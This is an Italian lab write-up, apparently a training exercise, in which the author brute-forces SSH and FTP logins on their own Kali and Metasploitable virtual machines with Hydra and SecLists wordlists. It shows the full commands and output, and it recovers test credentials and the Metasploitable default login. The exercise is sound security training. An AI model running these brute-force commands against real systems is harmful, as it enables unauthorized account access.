

## Autenticazione Cracking con Hydra

Con questo esercizio, cercheremo di autenticarci , recuperando le credenziali con Hydra, attaccando le due macchine **Kali** e **Metasploit**

dopo aver installato e attivato i service ssh e ftp siamo passati da NAT a Locale.

abbiamo dunque creato un test\_user ed un testpass (username e password)

A questo punto abbiamo testato la connessione **SSH** dell'utente appena creato.

```
└─# service vsftpd start

(root@kali)-[/home/massi87]
└─# sudo adduser test_user
Aggiunta dell'utente «test_user» ...
Aggiunta del nuovo gruppo «test_user» (1001) ...
Aggiunta del nuovo utente «test_user» (1001) con gruppo «test_user» ...
Creazione della directory home «/home/test_user» ...
Copia dei file da «/etc/skel» ...
Nuova password:
Reimmettere la nuova password:
passwd: password aggiornata correttamente
Modifica delle informazioni relative all'utente test_user
Inserire il nuovo valore o premere INVIO per quello predefinito
  Nome completo []:
  Stanza n° []:
  Numero telefonico di lavoro []:
  Numero telefonico di casa []:
  Altro []:
Le informazioni sono corrette? [S/n] S

(root@kali)-[/home/massi87]
└─# sudo service ssh start

(root@kali)-[/home/massi87]
└─# sudo nano /etc/ssh/sshd_config

(root@kali)-[/home/massi87]
└─# ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:2CnrMw7ziai2EU7wbLDv1zsN+4u9Rs31Sp4bkzBSXyI.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 5.16.0-kali7-arm64 #1 SMP Debian 5.16.18-1kali1 (2022-04-01) aarch64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

Una volta riscontrata la possibilità di connettersi, abbiamo modificato le liste scaricate con il seguente comando `<< sudo apt install seclists >>` aggiungendo a monte la username e la password in precedenza create, in modo tale da evitare troppa attesa nell'incrocio dei dati durante l'attacco.

Dopo di che abbiamo avviato l'attacco

```
(massi87@kali)-[~]
$ sudo service ssh start

(massi87@kali)-[~]
$ hydra -L /usr/share/seclists/Username/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.50.100 -t4 ssh -V
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-11 15:41:28
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295464295456 login tries (l:8295456/p:1000001), ~2073866073864 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 1 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 2 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 3 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 4 of 8295464295456 [child 3] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "info" - pass "testpass" - 1000002 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456" - 1000003 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "password" - 1000004 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "12345678" - 1000005 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "qwerty" - 1000006 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456789" - 1000007 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "12345" - 1000008 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "1234" - 1000009 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "111111" - 1000010 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "1234567" - 1000011 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "dragon" - 1000012 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123123" - 1000013 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "baseball" - 1000014 of 8295464295456 [child 2] (0/0)
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

(massi87@kali)-[~]
$
```

Si noti che impostando un il comando `-t4` facciamo richiesta di quattro task per volta, difatti come vediamo dalla figura sopra riportata. Ha trovato la soluzione alla prima combinazione ma nonostante tutto ha comunque eseguito la ricerca, dandoci poi in verde le credenziali esatte (ndr come anticipato abbiamo inserito le credenziali in cima alla lista).

La stessa esecuzione è stata avviata per la connessione **FTP** dando comunque gli stessi risultati

```
(massi87@kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.64.8 -t4 ftp -v
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-11 15:46:15
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295464295456 login tries (l:8295456/p:1000001), ~2073866073864 tries per task
[DATA] attacking ftp://192.168.64.8:21/
[ATTEMPT] target 192.168.64.8 - login "test_user" - pass "testpass" - 1 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.64.8 - login "test_user" - pass "123456" - 2 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.64.8 - login "test_user" - pass "password" - 3 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.64.8 - login "test_user" - pass "12345678" - 4 of 8295464295456 [child 3] (0/0)
[21][ftp] host: 192.168.64.8 login: test_user password: testpass
[ATTEMPT] target 192.168.64.8 - login "info" - pass "testpass" - 1000002 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.64.8 - login "info" - pass "123456" - 1000003 of 8295464295456 [child 1] (0/0)
```

Infine abbiamo provato gli attacchi sulla rete metasploit.  
Conoscendo già le credenziali, abbiamo pensato di non modificare i file come avvenuto in precedenza, ma aumentando la richiesta di task a **-t25**

```
(massi87@kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.50.101 -t25 ssh -v
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-11 15:52:02
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 25 tasks per 1 server, overall 25 tasks, 8295464295456 login tries (l:8295456/p:1000001), ~331818571819 tries per task
[DATA] attacking ssh://192.168.50.101:22/
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "testpass" - 1 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "123456" - 2 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "password" - 3 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "12345678" - 4 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "qwerty" - 5 of 8295464295456 [child 4] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "123456789" - 6 of 8295464295456 [child 5] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "12345" - 7 of 8295464295456 [child 6] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "1234" - 8 of 8295464295456 [child 7] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "111111" - 9 of 8295464295456 [child 8] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "1234567" - 10 of 8295464295456 [child 9] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "dragon" - 11 of 8295464295456 [child 10] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "123123" - 12 of 8295464295456 [child 11] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "baseball" - 13 of 8295464295456 [child 12] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "abc123" - 14 of 8295464295456 [child 13] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "football" - 15 of 8295464295456 [child 14] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "monkey" - 16 of 8295464295456 [child 15] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "letmein" - 17 of 8295464295456 [child 16] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "696969" - 18 of 8295464295456 [child 17] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "shadow" - 19 of 8295464295456 [child 18] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "master" - 20 of 8295464295456 [child 19] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "666666" - 21 of 8295464295456 [child 20] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "qwertyuiop" - 22 of 8295464295456 [child 21] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "123321" - 23 of 8295464295456 [child 22] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "mustang" - 24 of 8295464295456 [child 23] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "1234567890" - 25 of 8295464295456 [child 24] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "michael" - 26 of 8295464295471 [child 6] (0/15)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "654321" - 27 of 8295464295471 [child 0] (0/15)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "pussy" - 28 of 8295464295471 [child 2] (0/15)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "superman" - 29 of 8295464295471 [child 1] (0/15)
```

Il processo è andato avanti per diversi minuti e l'abbiamo interrotto poiché probabilmente avrebbe continuato ancora per molto tempo.

a quel punto abbiamo modificato il file



```
hydra -L /usr/share/seclists/Username/xato-net-10-million-username.txt -P /usr/share/seclists/Password/xato-net-10-million-password-1000000.txt 192.168.50.101 -t4 ssh -V
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-11 16:37:11
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295473590914 login tries (l:8295457/p:1000002), ~2073868397729 tries per task
[DATA] attacking ssh://192.168.50.101:22/
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "testpass" - 1 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 2 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456" - 3 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 4 of 8295473590914 [child 3] (0/0)
[22][ssh] host: 192.168.50.101 login: msfadmin password: msfadmin
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "testpass" - 1000003 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "msfadmin" - 1000004 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "123456" - 1000005 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "password" - 1000006 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "12345678" - 1000007 of 8295473590914 [child 1] (0/0)
```

abbiamo dunque ottenuto quanto cercavamo.